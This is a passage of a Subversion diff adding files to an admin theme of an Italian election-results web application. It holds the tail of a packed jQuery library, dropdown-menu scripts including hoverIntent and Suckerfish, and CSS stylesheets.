l=Q;h.ah=h.ag=H(){G(!l&&(!7.3f||7.3f=="68"||7.3f=="1J")){l=M;1W();1J();i.37(h)}}}i.3U(h);I 12}J m=Q;J c=1b.7s?2B 7s("ae.ac"):2B 7r();G(s.5Y)c.6R(O,s.1a,s.31,s.5Y,s.3Q);N c.6R(O,s.1a,s.31);1U{G(s.L)c.4B("ab-aa",s.7z);G(s.5S)c.4B("a9-5R-a8",D.4z[s.1a]||"a7, a6 a5 a4 5N:5N:5N a2");c.4B("X-9Z-9Y","7r");c.4B("9W",s.1O&&s.4Q[s.1O]?s.4Q[s.1O]+", */*":s.4Q.4w)}1V(e){}G(s.7m&&s.7m(c,s)===Q){s.26&&D.4O--;c.7l();I Q}G(s.26)D.W.1P("7B",[c,s]);J d=H(a){G(!m&&c&&(c.3f==4||a=="2T")){m=M;G(f){7k(f);f=U}1u=a=="2T"&&"2T"||!D.7j(c)&&"3e"||s.5S&&D.7h(c,s.1a)&&"7J"||"1W";G(1u=="1W"){1U{L=D.6X(c,s.1O,s.9S)}1V(e){1u="5J"}}G(1u=="1W"){J b;1U{b=c.5I("7g-5R")}1V(e){}G(s.5S&&b)D.4z[s.1a]=b;G(!g)1W()}N D.5H(s,c,1u);1J();G(s.31)c=U}};G(s.31){J f=4I(d,13);G(s.2T>0)3B(H(){G(c){c.7l();G(!m)d("2T")}},s.2T)}1U{c.9P(s.L)}1V(e){D.5H(s,c,U,e)}G(!s.31)d();H 1W(){G(s.1W)s.1W(L,1u);G(s.26)D.W.1P("7C",[c,s])}H 1J(){G(s.1J)s.1J(c,1u);G(s.26)D.W.1P("7F",[c,s]);G(s.26&&!--D.4O)D.W.1P("7G")}I c},5H:H(s,a,b,e){G(s.3e)s.3e(a,b,e);G(s.26)D.W.1P("7D",[a,s,e])},4O:0,7j:H(a){1U{I!a.1u&&5Z.9O=="5p:"||(a.1u>=7e&&a.1u<9N)||a.1u==7c||a.1u==9K||D.14.2k&&a.1u==12}1V(e){}I Q},7h:H(a,c){1U{J b=a.5I("7g-5R");I a.1u==7c||b==D.4z[c]||D.14.2k&&a.1u==12}1V(e){}I Q},6X:H(a,c,b){J d=a.5I("9J-O"),2N=c=="2N"||!c&&d&&d.1h("2N")>=0,L=2N?a.9I:a.4U;G(2N&&L.1C.2j=="5J")7p"5J";G(b)L=b(L,c);G(c=="1m")D.5u(L);G(c=="3z")L=6u("("+L+")");I L},3n:H(a){J s=[];G(a.1q==2p||a.5w)D.P(a,H(){s.1p(3u(7.34)+"="+3u(7.2x))});N R(J j 1n a)G(a[j]&&a[j].1q==2p)D.P(a[j],H(){s.1p(3u(j)+"="+3u(7))});N s.1p(3u(j)+"="+3u(D.1D(a[j])?a[j]():a[j]));I s.6s("&").1o(/%20/g,"+")}});D.17.1l({1N:H(c,b){I c?7.2g({1Z:"1N",2h:"1N",1y:"1N"},c,b):7.1E(":1G").P(H(){7.V.18=7.5D||"";G(D.1g(7,"18")=="2F"){J a=D("<"+7.2j+" />").6P("1c");7.V.18=a.1g("18");G(7.V.18=="2F")7.V.18="3I";a.21()}}).3l()},1M:H(b,a){I b?7.2g({1Z:"1M",2h:"1M",1y:"1M"},b,a):7.1E(":4j").P(H(){7.5D=7.5D||D.1g(7,"18");7.V.18="2F"}).3l()},78:D.17.2m,2m:H(a,b){I D.1D(a)&&D.1D(b)?7.78.1w(7,19):a?7.2g({1Z:"2m",2h:"2m",1y:"2m"},a,b):7.P(H(){D(7)[D(7).3F(":1G")?"1N":"1M"]()})},9G:H(b,a){I 7.2g({1Z:"1N"},b,a)},9F:H(b,a){I 7.2g({1Z:"1M"},b,a)},9E:H(b,a){I 7.2g({1Z:"2m"},b,a)},9D:H(b,a){I 7.2g({1y:"1N"},b,a)},9M:H(b,a){I 7.2g({1y:"1M"},b,a)},9C:H(c,a,b){I 7.2g({1y:a},c,b)},2g:H(k,j,i,g){J h=D.77(j,i,g);I 7[h.36===Q?"P":"36"](H(){G(7.16!=1)I Q;J f=D.1l({},h),p,1G=D(7).3F(":1G"),46=7;R(p 1n k){G(k[p]=="1M"&&1G||k[p]=="1N"&&!1G)I f.1J.1k(7);G(p=="1Z"||p=="2h"){f.18=D.1g(7,"18");f.33=7.V.33}}G(f.33!=U)7.V.33="1G";f.45=D.1l({},k);D.P(k,H(c,a){J e=2B D.28(46,f,c);G(/2m|1N|1M/.11(a))e[a=="2m"?1G?"1N":"1M":a](k);N{J b=a.6r().1I(/^([+-]=)?([\\d+-.]+)(.*)$/),2b=e.1t(M)||0;G(b){J d=3d(b[2]),2M=b[3]||"2X";G(2M!="2X"){46.V[c]=(d||1)+2M;2b=((d||1)/e.1t(M))*2b;46.V[c]=2b+2M}G(b[1])d=((b[1]=="-="?-1:1)*d)+2b;e.3G(2b,d,2M)}N e.3G(2b,a,"")}});I M})},36:H(a,b){G(D.1D(a)||(a&&a.1q==2p)){b=a;a="28"}G(!a||(1j a=="23"&&!b))I A(7[0],a);I 7.P(H(){G(b.1q==2p)A(7,a,b);N{A(7,a).1p(b);G(A(7,a).K==1)b.1k(7)}})},9X:H(b,c){J a=D.3O;G(b)7.36([]);7.P(H(){R(J i=a.K-1;i>=0;i--)G(a[i].T==7){G(c)a[i](M);a.7n(i,1)}});G(!c)7.5A();I 7}});J A=H(b,c,a){G(b){c=c||"28";J q=D.L(b,c+"36");G(!q||a)q=D.L(b,c+"36",D.2d(a))}I q};D.17.5A=H(a){a=a||"28";I 7.P(H(){J q=A(7,a);q.4s();G(q.K)q[0].1k(7)})};D.1l({77:H(b,a,c){J d=b&&b.1q==a0?b:{1J:c||!c&&a||D.1D(b)&&b,2u:b,41:c&&a||a&&a.1q!=9t&&a};d.2u=(d.2u&&d.2u.1q==4L?d.2u:D.28.5K[d.2u])||D.28.5K.74;d.5M=d.1J;d.1J=H(){G(d.36!==Q)D(7).5A();G(D.1D(d.5M))d.5M.1k(7)};I d},41:{73:H(p,n,b,a){I b+a*p},5P:H(p,n,b,a){I((-29.9r(p*29.9q)/2)+0.5)*a+b}},3O:[],48:U,28:H(b,c,a){7.15=c;7.T=b;7.1i=a;G(!c.3Z)c.3Z={}}});D.28.44={4D:H(){G(7.15.2Y)7.15.2Y.1k(7.T,7.1z,7);(D.28.2Y[7.1i]||D.28.2Y.4w)(7);G(7.1i=="1Z"||7.1i=="2h")7.T.V.18="3I"},1t:H(a){G(7.T[7.1i]!=U&&7.T.V[7.1i]==U)I 7.T[7.1i];J r=3d(D.1g(7.T,7.1i,a));I r&&r>-9p?r:3d(D.2a(7.T,7.1i))||0},3G:H(c,b,d){7.5V=1z();7.2b=c;7.3l=b;7.2M=d||7.2M||"2X";7.1z=7.2b;7.2S=7.4N=0;7.4D();J e=7;H t(a){I e.2Y(a)}t.T=7.T;D.3O.1p(t);G(D.48==U){D.48=4I(H(){J a=D.3O;R(J i=0;i<a.K;i++)G(!a[i]())a.7n(i--,1);G(!a.K){7k(D.48);D.48=U}},13)}},1N:H(){7.15.3Z[7.1i]=D.1K(7.T.V,7.1i);7.15.1N=M;7.3G(0,7.1t());G(7.1i=="2h"||7.1i=="1Z")7.T.V[7.1i]="9m";D(7.T).1N()},1M:H(){7.15.3Z[7.1i]=D.1K(7.T.V,7.1i);7.15.1M=M;7.3G(7.1t(),0)},2Y:H(a){J t=1z();G(a||t>7.15.2u+7.5V){7.1z=7.3l;7.2S=7.4N=1;7.4D();7.15.45[7.1i]=M;J b=M;R(J i 1n 7.15.45)G(7.15.45[i]!==M)b=Q;G(b){G(7.15.18!=U){7.T.V.33=7.15.33;7.T.V.18=7.15.18;G(D.1g(7.T,"18")=="2F")7.T.V.18="3I"}G(7.15.1M)7.T.V.18="2F";G(7.15.1M||7.15.1N)R(J p 1n 7.15.45)D.1K(7.T.V,p,7.15.3Z[p])}G(b)7.15.1J.1k(7.T);I Q}N{J n=t-7.5V;7.4N=n/7.15.2u;7.2S=D.41[7.15.41||(D.41.5P?"5P":"73")](7.4N,n,0,1,7.15.2u);7.1z=7.2b+((7.3l-7.2b)*7.2S);7.4D()}I M}};D.1l(D.28,{5K:{9l:9j,9i:7e,74:9g},2Y:{2e:H(a){a.T.2e=a.1z},2c:H(a){a.T.2c=a.1z},1y:H(a){D.1K(a.T.V,"1y",a.1z)},4w:H(a){a.T.V[a.1i]=a.1z+a.2M}}});D.17.2i=H(){J b=0,1S=0,T=7[0],3q;G(T)ao(D.14){J d=T.1d,4a=T,1s=T.1s,1Q=T.2z,5U=2k&&3r(5B)<9c&&!/9a/i.11(v),1g=D.2a,3c=1g(T,"30")=="3c";G(T.7y){J c=T.7y();1e(c.1A+29.2f(1Q.1C.2e,1Q.1c.2e),c.1S+29.2f(1Q.1C.2c,1Q.1c.2c));1e(-1Q.1C.6b,-1Q.1C.6a)}N{1e(T.5X,T.5W);1B(1s){1e(1s.5X,1s.5W);G(42&&!/^t(98|d|h)$/i.11(1s.2j)||2k&&!5U)2C(1s);G(!3c&&1g(1s,"30")=="3c")3c=M;4a=/^1c$/i.11(1s.2j)?4a:1s;1s=1s.1s}1B(d&&d.2j&&!/^1c|2K$/i.11(d.2j)){G(!/^96|1T.*$/i.11(1g(d,"18")))1e(-d.2e,-d.2c);G(42&&1g(d,"33")!="4j")2C(d);d=d.1d}G((5U&&(3c||1g(4a,"30")=="5x"))||(42&&1g(4a,"30")!="5x"))1e(-1Q.1c.5X,-1Q.1c.5W);G(3c)1e(29.2f(1Q.1C.2e,1Q.1c.2e),29.2f(1Q.1C.2c,1Q.1c.2c))}3q={1S:1S,1A:b}}H 2C(a){1e(D.2a(a,"6V",M),D.2a(a,"6U",M))}H 1e(l,t){b+=3r(l,10)||0;1S+=3r(t,10)||0}I 3q};D.17.1l({30:H(){J a=0,1S=0,3q;G(7[0]){J b=7.1s(),2i=7.2i(),4c=/^1c|2K$/i.11(b[0].2j)?{1S:0,1A:0}:b.2i();2i.1S-=25(7,\'94\');2i.1A-=25(7,\'aF\');4c.1S+=25(b,\'6U\');4c.1A+=25(b,\'6V\');3q={1S:2i.1S-4c.1S,1A:2i.1A-4c.1A}}I 3q},1s:H(){J a=7[0].1s;1B(a&&(!/^1c|2K$/i.11(a.2j)&&D.1g(a,\'30\')==\'93\'))a=a.1s;I D(a)}});D.P([\'5e\',\'5G\'],H(i,b){J c=\'4y\'+b;D.17[c]=H(a){G(!7[0])I;I a!=12?7.P(H(){7==1b||7==S?1b.92(!i?a:D(1b).2e(),i?a:D(1b).2c()):7[c]=a}):7[0]==1b||7[0]==S?46[i?\'aI\':\'aJ\']||D.71&&S.1C[c]||S.1c[c]:7[0][c]}});D.P(["6N","4b"],H(i,b){J c=i?"5e":"5G",4f=i?"6k":"6i";D.17["5s"+b]=H(){I 7[b.3y()]()+25(7,"57"+c)+25(7,"57"+4f)};D.17["90"+b]=H(a){I 7["5s"+b]()+25(7,"2C"+c+"4b")+25(7,"2C"+4f+"4b")+(a?25(7,"6S"+c)+25(7,"6S"+4f):0)}})})();',62,669,'|||||||this|||||||||||||||||||||||||||||||||||if|function|return|var|length|data|true|else|type|each|false|for|document|elem|null|style|event||nodeName|||test|undefined||browser|options|nodeType|fn|display|arguments|url|window|body|parentNode|add|msie|css|indexOf|prop|typeof|call|extend|script|in|replace|push|constructor|text|offsetParent|cur|status|div|apply|firstChild|opacity|now|left|while|documentElement|isFunction|filter|className|hidden|handle|match|complete|attr|ret|hide|show|dataType|trigger|doc|split|top|table|try|catch|success|break|cache|height||remove|tbody|string|guid|num|global|ready|fx|Math|curCSS|start|scrollTop|makeArray|scrollLeft|max|animate|width|offset|tagName|safari|map|toggle||done|Array|find|toUpperCase|button|special|duration|id|copy|value|handler|ownerDocument|select|new|border|exec|stack|none|opera|nextSibling|pushStack|target|html|inArray|unit|xml|bind|GET|isReady|merge|pos|timeout|delete|one|selected|px|step|jsre|position|async|preventDefault|overflow|name|which|queue|removeChild|namespace|insertBefore|nth|removeData|fixed|parseFloat|error|readyState|multiFilter|createElement|rl|re|trim|end|_|param|first|get|results|parseInt|slice|childNodes|encodeURIComponent|append|events|elems|toLowerCase|json|readyList|setTimeout|grep|mouseenter|color|is|custom|getElementsByTagName|block|stopPropagation|addEventListener|callee|proxy|mouseleave|timers|defaultView|password|disabled|last|has|appendChild|form|domManip|props|ajax|orig|set|easing|mozilla|load|prototype|curAnim|self|charCode|timerId|object|offsetChild|Width|parentOffset|src|unbind|br|currentStyle|clean|float|visible|relatedTarget|previousSibling|handlers|isXMLDoc|on|setup|nodeIndex|unique|shift|javascript|child|RegExp|_default|deep|scroll|lastModified|teardown|setRequestHeader|timeStamp|update|empty|tr|getAttribute|innerHTML|setInterval|checked|fromElement|Number|jQuery|state|active|jsonp|accepts|application|dir|input|responseText|click|styleSheets|unload|not|lastToggle|outline|mouseout|getPropertyValue|mouseover|getComputedStyle|bindReady|String|padding|pageX|metaKey|keyCode|getWH|andSelf|clientX|Left|all|visibility|container|index|init|triggered|removeAttribute|classFilter|prevObject|submit|file|after|windowData|inner|client|globalEval|sibling|jquery|absolute|clone|wrapAll|dequeue|version|triggerHandler|oldblock|ctrlKey|createTextNode|Top|handleError|getResponseHeader|parsererror|speeds|checkbox|old|00|radio|swing|href|Modified|ifModified|lastChild|safari2|startTime|offsetTop|offsetLeft|username|location|ajaxSettings|getElementById|isSimple|values|selectedIndex|runtimeStyle|rsLeft|_load|loaded|DOMContentLoaded|clientTop|clientLeft|toElement|srcElement|val|pageY|POST|unshift|Bottom|clientY|Right|fix|exclusive|detachEvent|cloneNode|removeEventListener|swap|toString|join|attachEvent|eval|substr|head|parse|textarea|reset|image|zoom|odd|even|before|prepend|exclude|expr|quickClass|quickID|uuid|quickChild|continue|Height|textContent|appendTo|contents|open|margin|evalScript|borderTopWidth|borderLeftWidth|parent|httpData|setArray|CSS1Compat|compatMode|boxModel|cssFloat|linear|def|webkit|nodeValue|speed|_toggle|eq|100|replaceWith|304|concat|200|alpha|Last|httpNotModified|getAttributeNode|httpSuccess|clearInterval|abort|beforeSend|splice|styleFloat|throw|colgroup|XMLHttpRequest|ActiveXObject|scriptCharset|callback|fieldset|multiple|processData|getBoundingClientRect|contentType|link|ajaxSend|ajaxSuccess|ajaxError|col|ajaxComplete|ajaxStop|ajaxStart|serializeArray|notmodified|keypress|keydown|change|mouseup|mousedown|dblclick|focus|blur|stylesheet|hasClass|rel|doScroll|black|hover|solid|cancelBubble|returnValue|wheelDelta|view|round|shiftKey|resize|screenY|screenX|relatedNode|mousemove|prevValue|originalTarget|offsetHeight|keyup|newValue|offsetWidth|eventPhase|detail|currentTarget|cancelable|bubbles|attrName|attrChange|altKey|originalEvent|charAt|0n|substring|animated|header|noConflict|line|enabled|innerText|contains|only|weight|font|gt|lt|uFFFF|u0128|size|417|Boolean|Date|toggleClass|removeClass|addClass|removeAttr|replaceAll|insertAfter|prependTo|wrap|contentWindow|contentDocument|iframe|children|siblings|prevAll|wrapInner|nextAll|outer|prev|scrollTo|static|marginTop|next|inline|parents|able|cellSpacing|adobeair|cellspacing|522|maxLength|maxlength|readOnly|400|readonly|fast|600|class|slow|1px|htmlFor|reverse|10000|PI|cos|compatible|Function|setData|ie|ra|it|rv|getData|userAgent|navigator|fadeTo|fadeIn|slideToggle|slideUp|slideDown|ig|responseXML|content|1223|NaN|fadeOut|300|protocol|send|setAttribute|option|dataFilter|cssText|changed|be|Accept|stop|With|Requested|Object|can|GMT|property|1970|Jan|01|Thu|Since|If|Type|Content|XMLHTTP|th|Microsoft|td|onreadystatechange|onload|cap|charset|colg|host|tfoot|specified|with|1_|thead|leg|plain|attributes|opt|embed|urlencoded|www|area|hr|ajaxSetup|meta|post|getJSON|getScript|marginLeft|img|elements|pageYOffset|pageXOffset|abbr|serialize|pixelLeft'.split('|'),0,{}))
Index: /trunk/elezioni/trunk/admin/temi/facebook/menu/jquery-dd.js
===================================================================
--- /trunk/elezioni/trunk/admin/temi/facebook/menu/jquery-dd.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/temi/facebook/menu/jquery-dd.js	(revision 44)
@@ -0,0 +1,5 @@
+$(function(){
+$("#nav>li").hover(
+    function(){$("ul",this).slideDown("slow");},
+    function(){$("ul",this).css({left:"-1px"}).slideUp("fast");});
+});
Index: /trunk/elezioni/trunk/admin/temi/facebook/menu/jquery-ddi.js
===================================================================
--- /trunk/elezioni/trunk/admin/temi/facebook/menu/jquery-ddi.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/temi/facebook/menu/jquery-ddi.js	(revision 44)
@@ -0,0 +1,5 @@
+$(function(){
+$("#nav>li").hoverIntent(
+    function(){$("ul",this).fadeIn("slow");},
+    function(){$("ul",this).css({left:"-1px"}).fadeOut("fast");});
+});
Index: /trunk/elezioni/trunk/admin/temi/facebook/menu/jquery-ddi2.js
===================================================================
--- /trunk/elezioni/trunk/admin/temi/facebook/menu/jquery-ddi2.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/temi/facebook/menu/jquery-ddi2.js	(revision 44)
@@ -0,0 +1,8 @@
+$(function(){
+$("#nav>li").hoverIntent(
+    function(){$("ul",this).slideDown("slow");},
+    function(){$("ul",this).css({left:"-1px"}).slideUp('fast')});
+});
+
+
+
Index: /trunk/elezioni/trunk/admin/temi/facebook/menu/jquery.hoverIntent.minified.js
===================================================================
--- /trunk/elezioni/trunk/admin/temi/facebook/menu/jquery.hoverIntent.minified.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/temi/facebook/menu/jquery.hoverIntent.minified.js	(revision 44)
@@ -0,0 +1,9 @@
+﻿/**
+* hoverIntent r5 // 2007.03.27 // jQuery 1.1.2+
+* <http://cherne.net/brian/resources/jquery.hoverIntent.html>
+* 
+* @param  f  onMouseOver function || An object with configuration options
+* @param  g  onMouseOut function  || Nothing (use configuration options object)
+* @author    Brian Cherne <brian@cherne.net>
+*/
+(function($){$.fn.hoverIntent=function(f,g){var cfg={sensitivity:7,interval:100,timeout:250};cfg=$.extend(cfg,g?{over:f,out:g}:f);var cX,cY,pX,pY;var track=function(ev){cX=ev.pageX;cY=ev.pageY;};var compare=function(ev,ob){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t);if((Math.abs(pX-cX)+Math.abs(pY-cY))<cfg.sensitivity){$(ob).unbind("mousemove",track);ob.hoverIntent_s=1;return cfg.over.apply(ob,[ev]);}else{pX=cX;pY=cY;ob.hoverIntent_t=setTimeout(function(){compare(ev,ob);},cfg.interval);}};var delay=function(ev,ob){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t);ob.hoverIntent_s=0;return cfg.out.apply(ob,[ev]);};var handleHover=function(e){var p=(e.type=="mouseover"?e.fromElement:e.toElement)||e.relatedTarget;while(p&&p!=this){try{p=p.parentNode;}catch(e){p=this;}}if(p==this){return false;}var ev=jQuery.extend({},e);var ob=this;if(ob.hoverIntent_t){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t);}if(e.type=="mouseover"){pX=ev.pageX;pY=ev.pageY;$(ob).bind("mousemove",track);if(ob.hoverIntent_s!=1){ob.hoverIntent_t=setTimeout(function(){compare(ev,ob);},cfg.interval);}}else{$(ob).unbind("mousemove",track);if(ob.hoverIntent_s==1){ob.hoverIntent_t=setTimeout(function(){delay(ev,ob);},cfg.timeout);}}};return this.mouseover(handleHover).mouseout(handleHover);};})(jQuery);
Index: /trunk/elezioni/trunk/admin/temi/facebook/menu/menu-dd.css
===================================================================
--- /trunk/elezioni/trunk/admin/temi/facebook/menu/menu-dd.css	(revision 44)
+++ /trunk/elezioni/trunk/admin/temi/facebook/menu/menu-dd.css	(revision 44)
@@ -0,0 +1,26 @@
+/*CSS principale per il menu*/
+
+ul#nav{font:  Verdena,Tahoma,sans-serif}
+ul#nav,ul#nav li,ul#nav ul,ul#nav ul li{margin:0;padding:0;list-style-type:none}
+ul#nav{height:26px;line-height:25px;margin-left:5px;
+    background: #3B5998;color: #fff}
+ul#nav a{display:block;padding: 0 15px;text-decoration: none; color:#FFF}
+ul#nav li{float: left;position: relative}
+ul#nav li li{float: none;line-height: 22px;
+    display:block !important;display: inline; /*IE*/}
+ul#nav ul{position: absolute;top: 23px;left: -9999px;
+    width: 18em;background: #fff;color: #3B5998}
+ul#nav ul{padding: 7px 0;border: 1px solid #3B5998}
+ul#nav li li a{height:22px}   /*fix per IE */
+ul#nav ul,ul#nav li li a{background-color: #FFF;color: #3B5998}
+ul#nav li:hover,ul#nav a:hover{background-color: #5C75AA;color: #FFF}
+ul#nav li:hover ul,ul#nav li.sfhover ul{left: -1px;z-index: 100}
+
+/*regole per separatore e le icone */
+
+ul#nav li.sep{height: 34px;background: #fff}
+ul#nav li.sep span{display: block;height: 1px;overflow: hidden;
+    margin: 6px 5px 0;background: #CCC}
+ul#nav li li.icon a{padding-left: 24px}
+ul#nav li li.settings a{background: url(icon_settings.gif) no-repeat 3px 3px}
+ul#nav li li.privacy a{background: url(icon_padlock.gif) no-repeat 3px 3px}
Index: /trunk/elezioni/trunk/admin/temi/facebook/menu/suckerfish.js
===================================================================
--- /trunk/elezioni/trunk/admin/temi/facebook/menu/suckerfish.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/temi/facebook/menu/suckerfish.js	(revision 44)
@@ -0,0 +1,14 @@
+//son of a suckerfish dropdown - http://htmldog.com/articles/suckerfish/dropdowns/
+
+sfHover = function() {
+  var sfEls = document.getElementById("nav").getElementsByTagName("LI");
+  for (var i=0; i<sfEls.length; i++) {
+    sfEls[i].onmouseover=function() {
+      this.className+=" sfhover";
+    }
+    sfEls[i].onmouseout=function() {
+      this.className=this.className.replace(new RegExp(" sfhover\\b"), "");
+    }
+  }
+}
+if (window.attachEvent) window.attachEvent("onload", sfHover);
Index: /trunk/elezioni/trunk/admin/temi/facebook/style.css
===================================================================
--- /trunk/elezioni/trunk/admin/temi/facebook/style.css	(revision 44)
+++ /trunk/elezioni/trunk/admin/temi/facebook/style.css	(revision 44)
@@ -0,0 +1,467 @@
+/**************** 
+style css for eleonline
+http://www.elenoline.it
+****************/
+
+body {
+/*background-image:url(images/body_bg.jpg); background-repeat:repeat-x; */
+	font: normal small Arial, Helvetica, sans-serif;
+	font-size:13px;
+	/*text-align:justify;*/
+	color: #000000;
+	margin-top:10px;
+	margin-left:0px;
+	margin-right:0px;
+	margin-bottom:0px;
+}
+.logoleft{
+background-image:url(images/logo_left.jpg); background-repeat:no-repeat;
+width:12px;
+height:78px;
+}
+.logoright{
+background-image:url(images/logo_right.jpg); background-repeat:no-repeat;
+width:12px;
+height:78px;
+}
+.logo{
+background-image:url(images/logo_bg.jpg); background-repeat:repeat-x;
+	text-transform: uppercase;
+	font-size:28px;
+	color:#88AED6;
+	font-weight:bold;
+	text-decoration:none;
+	width:250px;
+}
+.main{
+background-color:#A8C4E1;
+}
+.tag {
+	margin: 0;
+	padding:45px 20px 10px 10px;
+	text-transform: uppercase;
+	font-size:16px;
+	font-weight:bold;
+	color:#ffffff;
+    text-decoration:none;
+}
+a{
+color:#5D81A6;
+
+text-decoration:none;
+}
+a:hover{
+/* color:#000000;*/
+text-decoration: underline;
+
+}
+
+/* usate per blocco */
+
+.td-149 {
+	/*background-image:url(images/box_bg.jpg); background-repeat:repeat-x;*/
+	float: right;
+	margin-top:0px;
+	/*margin: 0px 0 0 0px;*/
+	width: 200px;	
+	border: none;
+	/*background-color:#A8C4E1;*/
+	/*background-color: #d2d2d2;*/
+	padding: 0px;
+}
+.td-149 a{
+color:#5D81A6;
+}
+.td-149 a:hover{
+text-decoration: underline;
+/*color:#FFFFFF;*/
+}
+.td-149 a:visited{
+color:#5D81A6;
+}
+.welcome
+{font-size:35px;
+color:#686868;
+}
+/* contenitore */
+
+div#container{
+    width: 999px;
+    margin: 0 auto;   /*centra negli altri browsers*/
+    /*text-align: left;  */ /*ripristina l' allineamento*/
+    }
+table {
+	margin-right: auto;
+	margin-left: auto;
+	text-align: left;
+	margin-top: 0px;
+	
+	
+	
+}
+td {
+	font-family: Verdana, Arial, Helvetica, sans-serif;
+	font-size: 12px;
+	margin-top: 0px;
+	margin: 0;
+}
+
+hr {
+	color: #000000;
+	background-color: #FFFFFF;
+	border-bottom: 1px dotted #CCCCCC;
+}
+form {
+	
+	font-size: 12px;
+	color: #000066;
+	text-decoration: none;
+	margin-right: 0px;
+	margin-left: 0px;
+	margin-top: 0px;
+	margin-bottom: 0px;
+	width: 100%;
+}
+p {
+	font-family: Verdana, Arial, Helvetica, sans-serif;
+	font-size: 12px;
+	padding-right: 8px;
+	padding-bottom: 0px;
+	padding-left: 8px;
+	padding-top: 0px;
+	margin: 2px 2px 4px;
+}
+
+h1 {
+	font-size: 16px;
+	font-weight: bold;
+	color: #222266;
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #222266;
+	margin-top: 6px;
+	margin-bottom: 8px;
+	padding-right: 0px;
+	padding-left: 0px;
+}
+h2 {
+	font-size: 14px;
+	font-weight: bold;
+	color: #5D81A6;
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #CCCCCC;
+	margin-top: 9px;
+	margin-bottom: 2px;
+	padding-right: 1px;
+	padding-left: 4px;
+}
+
+h4 {
+	font-size: 14px;
+	color: #003366;
+	text-decoration: none;
+	background-position: center;
+	bottom: 9px;
+	margin: 20px;
+	text-align: center;
+	border: 1px dotted #666666;
+	padding: 2px;
+	width: auto;
+	background-color: #EEEFEF;
+	font-variant: small-caps;
+}
+h5 {
+	font-size: 12px;
+	font-weight: bold;
+	color: #000000;
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #CCCCCC;
+	margin-top: 0px;
+	margin-bottom: 4px;
+	padding-right: 1px;
+	padding-left: 4px;
+	background-color: #ffffff;
+	background-position: center;
+	text-align: center;
+}
+h6 {
+	font-size: 12px;
+	font-weight: bold;
+	color: #333333;
+	text-decoration: none;
+	border-bottom-style: dotted;
+	padding-left: 4px;
+	background-position: center;
+	border-bottom-color: #EEEEEE;
+	border-bottom-width: 1px;
+	padding-top: 3px;
+	padding-right: 2px;
+	padding-bottom: 0px;
+	bottom: 9px;
+	margin-top: 1px;
+	margin-bottom: 3px;
+}
+
+/* classe tratteggiata usata in molti td */
+
+
+.modulo {
+	text-decoration: none;
+	border: 1px solid #666699;
+	font-size: 10px;
+}
+
+.modulo-button {
+	color: #663366;
+	text-decoration: none;
+	background-color: #FFFFEE;
+	border: 1px solid #660033;
+	width: 50%;
+	text-align: center;
+	font-size: 10px;
+	padding: 3px;
+}
+
+/*
+.sitebar {
+	background-image:url(images/box_bg.jpg); background-repeat:repeat-x;
+	font-size: 12px;
+	border: none;
+	color: #ffffff;
+}
+*/
+
+
+/* tavole */
+.table-main {
+	border: 1px solid #DEDEDC;
+	font-size: 12px;
+	background-position: center top;
+	padding: 0px;
+	color: #666666;
+	text-align:center;
+	width: 950px;
+	
+	
+}
+
+
+/* numero e simbolo liste */
+
+.td-5 {
+	
+	margin: 0px 0 0 0px;
+	width: 5%;	
+	border: none;
+        background-color:#cccccc;
+	color:#000000;
+	
+	padding: 0px;
+        FONT-SIZE: 12px; 
+        FONT-FAMILY: Verdana, Helvetica;
+}
+	
+.td-130c {
+	float: right;
+	text-align:left;
+	margin: 0px 0 0 1px;
+	width: 130px;	
+	border: none;
+	
+	padding: 0px;
+}		
+	
+/* sinistra */
+div#sx{
+    width: 590px;
+    float: left;
+    text-align: left;   
+    }
+/* destra */
+div#dx{
+    width: 149px;
+    float: right;
+    text-align: left;   
+    }
+
+
+/* flash */
+div#flash{
+    width: 410px;
+    float: left;
+    text-align: left;   
+    }
+
+
+
+
+
+
+/* immagini bordo */
+
+.image {
+	/*float: center;*/
+	border: none;
+	margin: 0px;
+	padding: 0px;
+}		
+
+.stemma {
+	/*float: center;*/
+	border: none;
+	margin: 0px;
+	padding: 0px;
+	width:50px;
+	height:50px;
+}		
+
+.stemmapic {
+	/*float: center;*/
+	border: none;
+	margin: 0px;
+	padding: 0px;
+	width:30px;
+	height:30px;
+}		
+
+
+.noblocco {
+border: 0px;
+margin-right:0px;
+margin-left:130px;
+text-align: right;
+vertical-align: middle;
+width:18px;
+height:18px;
+}
+
+
+.nobordo {
+border: 0px;
+text-align: center;
+vertical-align: middle;
+}
+
+.bordo {
+border: 1px solid #ff0000;
+text-align: left;
+vertical-align: middle;
+
+}
+/******************** font e backcolor******************************/
+.blu 	{
+	background: none;
+	font-weight: bold; 
+	color: #003366; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica
+}
+
+
+.red 	{
+	background: none; 
+	color: #ff0000; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica
+}
+
+.redbig 	{
+	background: none; 
+	color: #ff0000; 
+	font-size: 16px; 
+	font-family: Verdana, Helvetica
+}
+
+.bgw	{
+	background: #ffffff; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: center;
+}
+/* diventa celeste */
+
+.bggray 	{
+	background-color:#cccccc;
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: center;
+	color: #000000;
+}
+
+.bggray2 	{
+	background: #cccccc; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: center;
+	}
+
+.bggray3 	{
+	background: #dce9f9;  
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: left;
+	}
+
+.normale {
+	background: none; 
+	color: #000000; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: left;
+}
+.piccolo {
+	BACKGROUND: none; 
+	COLOR: #cccccc; 
+	FONT-SIZE: 10px; 
+	FONT-WEIGHT: normal; 
+	FONT-FAMILY: Verdana, Helvetica; 
+	TEXT-DECORATION: none}
